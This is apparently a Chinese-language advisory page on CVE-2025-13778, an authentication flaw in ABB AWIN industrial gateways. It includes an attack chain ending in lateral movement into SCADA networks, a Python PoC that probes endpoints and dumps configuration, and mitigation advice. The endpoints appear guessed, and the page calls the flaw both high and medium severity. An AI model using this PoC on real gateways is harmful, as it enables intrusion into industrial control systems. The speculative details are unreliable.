IPBUF安全漏洞报告
English
CVE-2025-13778 CVSS 6.5 中危

CVE-2025-13778: ABB AWIN GW100/GW120 关键功能认证缺失漏洞

披露日期: 2026-03-13

漏洞信息

漏洞编号
CVE-2025-13778
漏洞类型
缺失身份验证
CVSS评分
6.5 中危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ABB AWIN GW100 rev.2, ABB AWIN GW120

相关标签

CVE-2025-13778ABBAWIN GW100AWIN GW120缺失身份验证工业控制系统ICSSCADA网关设备访问控制

漏洞概述

CVE-2025-13778是ABB公司AWIN系列工业网关设备中存在的一个高危安全漏洞。该漏洞影响AWIN GW100 2.0-0、2.0-1版本以及AWIN GW120 1.2-0、1.2-1版本。漏洞根源在于设备对关键功能缺少必要的身份验证机制,允许未经授权的攻击者通过邻接网络访问设备的敏感功能。根据CVSS 3.1评分6.5(中危),该漏洞在可用性方面造成高影响,攻击者无需认证即可对设备进行操作,可能导致服务中断或设备功能异常。此漏洞存在于ABB的工业物联网网关产品中,该设备主要用于工业自动化系统的网络连接和数据采集,漏洞的存在可能对工业控制系统造成严重的安全威胁。攻击者利用此漏洞无需任何用户交互即可实施攻击,攻击复杂度低,具有较高的实际利用风险。

技术细节

该漏洞属于OWASP TOP 10中的A01:2021 - Broken Access Control类别。具体来说,ABB AWIN GW100和GW120网关设备在实现某些关键功能时未实施适当的访问控制。攻击者可以通过发送特制的HTTP请求或使用特定的网络协议直接访问设备的敏感接口,无需提供任何凭据。漏洞影响的功能模块可能包括系统配置管理、固件更新接口、网络参数修改等。由于设备通常部署在工业网络环境中,攻击者需要处于邻接网络位置(如同一网段)才能发起攻击。攻击成功后可能导致:1) 设备配置被恶意修改;2) 设备固件被替换为恶意版本;3) 设备拒绝服务;4) 工业网络被进一步渗透。CVSS向量AV:A(邻接网络)表明攻击者需要本地网络访问权限,这限制了漏洞的远程利用可能性,但同一网络内的威胁行为者(如恶意内部人员或被控设备)可轻松利用此漏洞。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者通过网络扫描发现目标ABB AWIN网关设备,获取设备IP地址和开放端口信息
STEP 2
步骤2: 漏洞探测
攻击者发送HTTP请求探测关键功能端点(如/api/system/config、/cgi-bin/system_config.cgi),验证是否无需认证即可访问
STEP 3
步骤3: 未授权访问
确认漏洞存在后,攻击者直接访问敏感接口,获取设备配置信息、网络参数、固件信息等敏感数据
STEP 4
步骤4: 恶意操作
利用缺失的认证机制,攻击者可修改设备配置、触发固件更新或导致设备拒绝服务
STEP 5
步骤5: 横向移动
通过被控网关设备作为跳板,进一步渗透工业控制网络,攻击其他SCADA系统或PLC设备

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-13778 PoC - ABB AWIN GW100/GW120 Authentication Bypass This PoC demonstrates the missing authentication vulnerability in ABB AWIN gateways. Note: Only use this for authorized security testing. """ import requests import sys import socket from urllib.parse import urljoin def check_vulnerability(target_ip, target_port=80): """ Check if target ABB AWIN device is vulnerable to CVE-2025-13778 by attempting to access critical functions without authentication. """ print(f"[*] Testing target: {target_ip}:{target_port}") # Critical functions that should require authentication critical_endpoints = [ "/api/system/config", "/api/system/status", "/api/network/settings", "/api/firmware/info", "/cgi-bin/system_config.cgi", "/cgi-bin/status.cgi" ] headers = { 'User-Agent': 'Mozilla/5.0 (compatible; Security-Scanner)', 'Accept': 'application/json, text/html' } vulnerable = False for endpoint in critical_endpoints: url = f"http://{target_ip}:{target_port}{endpoint}" try: response = requests.get(url, headers=headers, timeout=5, verify=False) # Check if we get a successful response without authentication if response.status_code in [200, 401, 403]: # If we get 200 with actual data, vulnerability likely exists if response.status_code == 200 and len(response.content) > 50: print(f"[+] VULNERABLE: {endpoint} accessible without auth") print(f" Response length: {len(response.content)} bytes") vulnerable = True elif response.status_code == 401: print(f"[-] Protected: {endpoint} requires authentication") except requests.exceptions.RequestException as e: print(f"[!] Error accessing {endpoint}: {e}") return vulnerable def exploit_configuration_dump(target_ip, target_port=80): """ Attempt to dump device configuration without authentication. """ print(f"\n[*] Attempting configuration dump...") config_endpoints = [ "/api/system/config", "/config/system.conf", "/api/network/settings" ] for endpoint in config_endpoints: url = f"http://{target_ip}:{target_port}{endpoint}" try: response = requests.get(url, timeout=5, verify=False) if response.status_code == 200: print(f"[+] Retrieved: {endpoint}") print(f" Content preview: {response.text[:200]}...") except: pass if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2025_13778_poc.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 print(f"CVE-2025-13778 PoC for ABB AWIN Gateway Authentication Bypass") print(f"=" * 60) if check_vulnerability(target, port): print(f"\n[!] Target appears VULNERABLE to CVE-2025-13778") exploit_configuration_dump(target, port) else: print(f"\n[*] Target does not appear vulnerable")

影响范围

ABB AWIN GW100 rev.2 < 2.0-2
ABB AWIN GW120 < 1.2-2
AWIN GW100 rev.2: 2.0-0
AWIN GW100 rev.2: 2.0-1
AWIN GW120: 1.2-0
AWIN GW120: 1.2-1

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1) 网络隔离:将AWIN网关设备部署在独立的VLAN中,限制未经授权的网络访问;2) 防火墙规则:配置严格的入站和出站过滤规则,仅允许必要的工业协议通信;3) 监控告警:部署IDS/IPS系统,监控针对网关设备的异常访问模式;4) 物理安全:确保网关设备物理访问安全,防止未授权人员接触;5) 最小化暴露:关闭不必要的服务端口,使用非标准管理端口;6) 定期审计:增加对网关配置变更的审计频率,及时发现异常配置修改。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表